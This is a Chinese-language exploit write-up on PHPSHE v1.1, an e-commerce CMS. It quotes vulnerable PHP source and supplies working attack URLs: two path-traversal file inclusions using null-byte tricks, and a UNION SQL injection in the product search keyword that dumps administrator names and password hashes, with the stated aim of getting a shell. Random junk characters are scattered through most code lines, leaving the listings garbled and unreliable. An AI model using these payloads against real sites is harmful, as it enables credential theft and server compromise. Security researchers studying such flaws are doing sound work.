phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
8 o, S# U9 G1 G) c/* Phpshe v1.1 Vulnerability
/* ========================
& r8 s! {: k. Q% k* O/* By: : Kn1f3
/* E-Mail : 681796@qq.com
2 b6 b9 s( w1 u5 i7 Y, S/*******************************************************/
0×00 整体大概参数传输


" L- u8 U! R5 ?7 |% U' M- P" y3 F; g
0 U" n$ z* f/ y, i3 V//common.php
if (get_magic_quotes_gpc()) {
, F: E2 C1 V# c. B* H!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
' @6 m4 A; z2 V: u* g( e0 r}
$ k2 U; n7 A2 B% kelse {
7 }  R! O, B/ x2 D3 k!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
/ i4 I: z: M3 b$ L8 A# {& Y* z!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
/ d: V, k" m) z7 h}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞

. ~$ o- A. P9 U8 e
! J6 H2 w% B' Q  o  ?% ^  m& l, t9 P//首页文件
9 l( V% J0 @7 K7 C<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
! C' z4 O* r2 C# x4 F/ ~. x% H- p/ Spe_result();
?>
0 Q) Q$ L& i* L6 L& H4 s6 \9 Z- e& k//common 文件 第15行开始
; G% k1 Z( j( u, t3 Vurl路由配置
$module = $mod = $act = 'index';
$ u5 \) y" I) {$ x3 K$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
  J1 J, n  t! H' G$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
* o- @; d  o- |$ `

# p6 q5 ], y) s2 w 0×02 搜索注入

<code id="code2">

//product.php文件
case 'list':
" c+ {+ ~/ k4 {$ M. w$category_id = intval($id);
6 h9 L4 s. Y2 [$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
/ [1 X! w9 ?3 v+ d  F$sqlwhere = " and `product_state` = 1";
, B( V; E  y/ B# c9 J) N2 ope_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
5 h" I  D: s4 @' W  p}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
4 H- r+ i3 P/ j$ M. t- E2 S$orderby = explode('_', $_g_orderby);
& A$ p+ w3 w& S3 ^, j& a0 |" l$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
1 c2 p0 S0 L2 W( A8 U) P4 \}
else {
3 j  `2 G/ c# v; b) R$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
, [2 m0 U1 m; @6 J  ]7 R" U0 y$product_hotlist = product_hotlist();
//当前路径
3 x$ L1 C: a$ f) K4 T" @' c$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
7 ^# h  _4 o1 F3 O  t* x5 [/ e# v//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
5 m- b+ s& A2 ~' ?6 l}
& Y  A0 U7 ?, p6 J2 A8 k1 D  u. n//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

" a4 A7 E3 p1 o. m' i% L" U: w0×03 包含漏洞2

3 {9 P( E& [7 q5 I- N/ v9 t% o<code id="code3">

//order.php

case 'pay':

) m/ o! i, T" R2 h$order_id = pe_dbhold($_g_id);

7 u# `' l+ \( l& O% g1 s$ i$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$ o: l7 X% r3 }) z( N$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

5 q3 M+ A5 g$ C& i- Q& Gif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

2 T9 q7 v! X% |4 _5 g}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

' i* {* i5 M! d" K) s& Yif (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

% `3 C0 a& m' G: W' A7 c6 C5 `foreach ($info_list as $v) {

$ M. ]: H; ^" u1 M7 N$order['order_name'] .= "{$v['product_name']};";
; a; I7 K# d4 K! M# ^! |

}

- E2 L  ^4 {) `( g4 p4 Qecho '正在为您连接支付网站，请稍后...';

1 i) C0 S' P7 v8 J$ jinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

9 \( f2 {: K" F3 B}//当一切准备好的时候就可以进行"鸡肋包含了"

! r( i+ `/ \7 ^" U( Q9 Telse {

% e$ L2 \* p5 r' ?pe_error('支付错误...');

( s1 ^8 Y: b/ B. V}

# F4 n# Z; v. ~: `- I) E2 w4 L}

- B( K9 P5 [6 P, X- ]  W; x$seo = pe_seo('选择支付方式');

- |9 W, j0 D& H+ I" N8 pinclude(pe_tpl('order_pay.html'));

, \. g, N- ?6 pbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
' f  }2 N7 D( M8 `2 X7 X' {http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg